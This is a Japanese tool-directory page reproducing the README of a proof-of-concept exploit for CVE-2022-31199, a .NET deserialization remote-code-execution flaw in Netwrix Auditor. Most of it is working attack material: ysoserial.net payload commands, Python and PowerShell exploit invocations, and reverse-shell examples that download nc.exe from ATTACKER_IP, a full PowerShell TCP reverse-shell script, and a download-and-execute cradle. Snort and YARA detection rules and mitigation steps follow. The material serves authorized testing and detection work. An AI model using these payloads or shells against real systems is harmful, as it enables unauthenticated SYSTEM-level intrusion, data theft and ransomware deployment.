Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-31199 — CVE-2022-31199の概念実証エクスプロイト。Netwrix Auditorにおける重要な.NETデシリアライゼーションRCE。PythonおよびPowerShellスクリプト、ysoserial.netを使用したペイロード生成、および許可されたセキュリティテスト用の検出シグネチャを含む。 | Kitploit
ツール/GitHubGitHub/developerfred/cve-2022-31199
脆弱性分析エクスプロイトペネトレーションテストコマンド&コントロール学習と教育レッドチーミングペイロード開発ラボと実践
GitHubdeveloperfred/cve-2022-31199

CVE-2022-31199

CVE-2022-31199の概念実証エクスプロイト。Netwrix Auditorにおける重要な.NETデシリアライゼーションRCE。PythonおよびPowerShellスクリプト、ysoserial.netを使用したペイロード生成、および許可されたセキュリティテスト用の検出シグネチャを含む。

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-31199 - Netwrix Auditor RCE エクスプロイト PoC

🔍 脆弱性概要

CVE-2022-31199 は、Netwrix Auditor バージョン 10.5 以前における、重大な安全でないオブジェクトデシリアライゼーションの脆弱性です。この脆弱性は、TCP ポート 9004 でリッスンしているセキュリティ保護されていない .NET Remoting サービスに存在し、認証されていないリモート攻撃者に NT AUTHORITY\SYSTEM 権限での任意のコード実行を許可します。

脆弱性の詳細

  • CVE ID: CVE-2022-31199
  • CVSS スコア: 9.8 (重大)
  • CWE: CWE-502 (信頼できないデータのデシリアライゼーション)
  • 影響を受けるバージョン: Netwrix Auditor < 10.5
  • 攻撃ベクトル: ネットワーク(認証不要)
  • 必要な権限: なし
  • 影響: SYSTEM 権限での完全なシステム侵害
  • CISA KEV: 既知の悪用された脆弱性カタログに掲載

実際の影響

この脆弱性は、実際に以下の攻撃者グループによって積極的に悪用されています:

  • Truebot マルウェアキャンペーン(ロシア関連の CL0P/TA505 ランサムウェア運営者)
  • Silence サイバー犯罪グループ
  • FIN11 脅威アクター

悪用に成功すると、通常以下のような結果をもたらします:

  • Active Directory ドメインの完全な侵害
  • 監視対象システム間の横移動
  • データの外部流出
  • ランサムウェアの展開

📦 リポジトリの内容

このリポジトリには、CVE-2022-31199 の完全な Proof of Concept (PoC) エクスプロイトが含まれています:

ファイル

  1. exploit.py - Python ベースのエクスプロイトフレームワーク
  2. exploit.ps1 - PowerShell によるエクスプロイトスクリプト
  3. README.md - 本ドキュメント
  4. manual-exploitation.md - 手動エクスプロイト手順ガイド

🛠️ 必要条件

必要なツール

Windows ベースのエクスプロイト(推奨)

  • ysoserial.net - .NET デシリアライゼーションペイロード生成ツール

    • ダウンロード: https://github.com/pwntester/ysoserial.net
    • リリース: https://github.com/pwntester/ysoserial.net/releases
  • ExploitRemotingService - .NET Remoting エクスプロイトツール

    • ダウンロード: https://github.com/tyranid/ExploitRemotingService
    • 代替(拡張版): https://github.com/codewhitesec/ExploitRemotingService

Python スクリプトの要件

  • Python 3.6 以上
  • 標準ライブラリのみ(基本チェックには外部依存関係は不要)
  • ysoserial.net および ExploitRemotingService の実行ファイルへのアクセス

PowerShell スクリプトの要件

  • PowerShell 5.1 以上
  • Windows オペレーティングシステム
  • スクリプトディレクトリに ysoserial.exe と ExploitRemotingService.exe が存在すること

🚀 クイックスタート

1. ターゲットが脆弱かどうかを確認

Python の場合:

root@kitploit:~
python3 exploit.py --target 192.168.1.100 --check

PowerShell の場合:

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

2. ペイロードを生成

root@kitploit:~
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

3. エクスプロイトを実行

Python(事前生成したペイロードを使用):

root@kitploit:~
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

PowerShell(自動):

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

📖 詳細な使用方法

Python エクスプロイト (exploit.py)

基本的な脆弱性チェック

root@kitploit:~
python3 exploit.py --target 10.10.10.100 --check

カスタムペイロードによる完全エクスプロイト

root@kitploit:~
# ステップ 1: ペイロードを生成
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# ステップ 2: エクスプロイトを実行
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

高度なオプション

root@kitploit:~
# カスタムポート
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# カスタムエンドポイント
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

コマンドライン引数

root@kitploit:~
--target    : ターゲット IP アドレスまたはホスト名(必須)
--port      : ターゲットポート(デフォルト: 9004)
--endpoint  : .NET Remoting エンドポイント名(デフォルト: UAVRServer)
--check     : 脆弱性を確認するのみ、エクスプロイトは行わない
--payload   : ysoserial.net からの Base64 エンコードされたペイロード

PowerShell エクスプロイト (exploit.ps1)

脆弱性チェックのみ

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

コマンドを実行

root@kitploit:~
# 単純なコマンド実行
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# 出力をファイルに書き込む
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# カスタムポート
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

パラメータ

root@kitploit:~
-Target     : ターゲット IP アドレスまたはホスト名(必須)
-Port       : ターゲットポート(デフォルト: 9004)
-Command    : ターゲット上で実行するコマンド(デフォルト: "whoami")
-CheckOnly  : 脆弱性を確認するのみ、エクスプロイトは行わない

🎯 エクスプロイトの例

例 1: 情報収集

root@kitploit:~
# システム情報を確認
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

例 2: リバースシェル

リスナーをセットアップ:

root@kitploit:~
nc -lvnp 4444

ペイロードを生成:

root@kitploit:~
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

例 3: PowerShell リバースシェル

リバースシェルスクリプト (rev.ps1) を作成:

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

スクリプトをホスト:

root@kitploit:~
python3 -m http.server 8000

ペイロードを生成:

root@kitploit:~
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

例 4: ExploitRemotingService を直接使用

root@kitploit:~
# 接続性をテスト
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# リースモードで実行(一部の保護をバイパス)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# オブジェクト参照で実行
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

🔬 技術詳細

脆弱性の根本原因

脆弱性は以下に起因します:

  1. TCP ポート 9004 上のセキュリティ保護されていない .NET Remoting エンドポイント
  2. 適切な型フィルタリングのない BinaryFormatter デシリアライゼーション
  3. 任意のシリアル化オブジェクトを受け入れる UAVRServer サービス
  4. 一般的な展開では SYSTEM 権限で実行されるサービス

エクスプロイトプロセス

root@kitploit:~
1. 攻撃者が TCP ポート 9004 に接続
2. .NET Remoting サービス (UAVRServer エンドポイント) を特定
3. ysoserial.net を使用して悪意のあるシリアル化ペイロードを生成
4. .NET Remoting プロトコルを介してペイロードを送信
5. ターゲットが BinaryFormatter を使用してオブジェクトをデシリアライズ
6. ガジェットチェーンが任意のコードを実行
7. コードが NT AUTHORITY\SYSTEM 権限で実行

サポートされているガジェットチェーン

この脆弱性に対して動作する ysoserial.net ガジェット:

  • TypeConfuseDelegate (推奨)
  • ObjectDataProvider
  • PSObject
  • WindowsIdentity
  • TextFormattingRunProperties

ネットワークプロトコル

root@kitploit:~
.NET Remoting プロトコル構造:
┌─────────────────────────────────────┐
│ プリアンブル (8 バイト)              │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ ヘッダー                             │
├─────────────────────────────────────┤
│ URI (UAVRServer)                     │
├─────────────────────────────────────┤
│ シリアル化オブジェクト (BinaryFormatter) │
└─────────────────────────────────────┘

🛡️ 検出

ネットワークインジケータ

Snort/Suricata ルール

root@kitploit:~
alert tcp any any -> any 9004 (
    msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt"; 
    content:"|00 01 00 00 01 00 00 00|"; 
    depth:8; 
    content:"System.Runtime.Remoting"; 
    distance:0; 
    sid:1000001; 
    rev:1;
)

侵害インジケータ (IOC)

  • TCP ポート 9004 への予期しない接続
  • .NET Remoting ヘッダーを含む大きなパケット
  • BinaryFormatter シリアル化シグネチャ
  • UAVRServer.exe コンテキストからのプロセス実行

ホストベースの検出

脆弱なサービスの確認:

root@kitploit:~
# ポート 9004 がリッスンしているか確認
netstat -ano | findstr :9004

# プロセスを特定
tasklist /FI "PID eq [PID]"

イベントログ監視:

  • UAVRServer.exe からの異常なプロセス作成を監視
  • SYSTEM レベルのコマンド実行を監視
  • 監査サービスからのネットワーク接続を確認

YARA ルール

root@kitploit:~
rule CVE_2022_31199_Netwrix_Exploit {
    meta:
        description = "Detects CVE-2022-31199 exploitation attempt"
        author = "Security Researcher"
        date = "2024-11-17"
        severity = "critical"
        
    strings:
        $header = { 00 01 00 00 01 00 00 00 }
        $remoting1 = "System.Runtime.Remoting" ascii
        $remoting2 = "UAVRServer" ascii
        $remoting3 = "Netwrix" ascii
        $serialize = "BinaryFormatter" ascii
        $gadget1 = "TypeConfuseDelegate" ascii
        $gadget2 = "ObjectDataProvider" ascii
        
    condition:
        $header at 0 and 
        ($remoting1 or $remoting2 or $remoting3) and 
        $serialize and
        any of ($gadget*)
}

🔒 緩和策

即時対応

  1. Netwrix Auditor 10.5 以降に更新

    • バージョン 10.5.10936.0 (2022 年 6 月 6 日) - 初期修正
    • バージョン 10.5.10977.0 (2022 年 10 月 27 日) - 追加の保護
  2. ネットワークセグメンテーション

    • TCP ポート 9004 を信頼できないネットワークに公開しない
    • Netwrix Auditor をファイアウォールの背後に配置
    • ネットワークアクセス制御を実装
  3. 監視

    • ポート 9004 への異常な接続を監視
    • UAVRServer.exe からのプロセス実行をアラート
    • SYSTEM レベルのコマンド実行を監視

確認

root@kitploit:~
# Netwrix Auditor のバージョンを確認
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version

# ポートが露出しているか確認
Test-NetConnection -ComputerName localhost -Port 9004

# ファイアウォールルールを確認
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}

📚 参考文献

公式アドバイザリ

  • Bishop Fox Advisory: https://bishopfox.com/blog/netwrix-auditor-advisory
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-31199
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Netwrix Statement: https://www.netwrix.com/netwrix_statement_on_cve202231199.html

技術リソース

  • ysoserial.net: https://github.com/pwntester/ysoserial.net
  • ExploitRemotingService: https://github.com/tyranid/ExploitRemotingService
  • Code White Research: https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
  • NCC Group: https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/

脅威インテリジェンス

  • Arctic Wolf Analysis: https://arcticwolf.com/resources/blog/cve-2022-31199/
  • NopSec Bulletin: https://www.nopsec.com/resources/just-in-time/just-in-time-bulletin-cve-2022-31199-netwrix-insecure-object-deserialization-rce/

⚠️ 法的免責事項

root@kitploit:~
重要: これらの Proof of Concept (PoC) エクスプロイトは、以下の目的で提供されます:
- 教育目的
- 許可されたセキュリティテスト
- 脆弱性調査
- 防御的なセキュリティ運用

コンピュータシステムへの不正アクセスは違法です。

これらのツールを使用することにより、以下に同意するものとします:
1. 自分が所有している、または明示的な書面によるテス ト許可を得ているシステムのみをテストすること
2. 該当するすべての地方、州、連邦法を遵守すること
3. ツールを責任を持って倫理的に使用すること
4. 悪意のある目的に使用しないこと

作成者は、これらのツールの誤用について一切の責任を負いません。
自己責任で使用してください。

🤝 コントリビューション

問題点や改善点を見つけましたか? 以下の方法でご連絡ください:

  • 関連リポジトリに Issue を開く
  • 改善点や追加のテクニックを提出する
  • 検出シグネチャを共有する

📝 クレジット

  • Bishop Fox - 脆弱性の発見と開示
  • James Forshaw - ExploitRemotingService フレームワーク
  • Alvaro Munoz - ysoserial.net の開発
  • ProjectDiscovery - Nuclei テンプレートフレームワーク

📅 タイムライン

  • 2022 年 6 月 6 日 - Netwrix が修正を含むバージョン 10.5 をリリース
  • 2022 年 7 月 - Bishop Fox がアドバイザリを公開
  • 2022 年 10 月 27 日 - 追加のパッチがリリース(バージョン 10.5.10977.0)
  • 2023 年 5 月 - 積極的な悪用が確認(Truebot キャンペーン)
  • 2023 年 7 月 11 日 - CISA KEV カタログに追加
  • 2024 年 11 月 - 防御研究のために PoC が公開

バージョン: 1.0
最終更新日: 2024 年 11 月 17 日
メンテナンス: セキュリティ研究コミュニティ

質問や問題がある場合は、公式のアドバイザリとドキュメントを参照してください。

ツールをダウンロード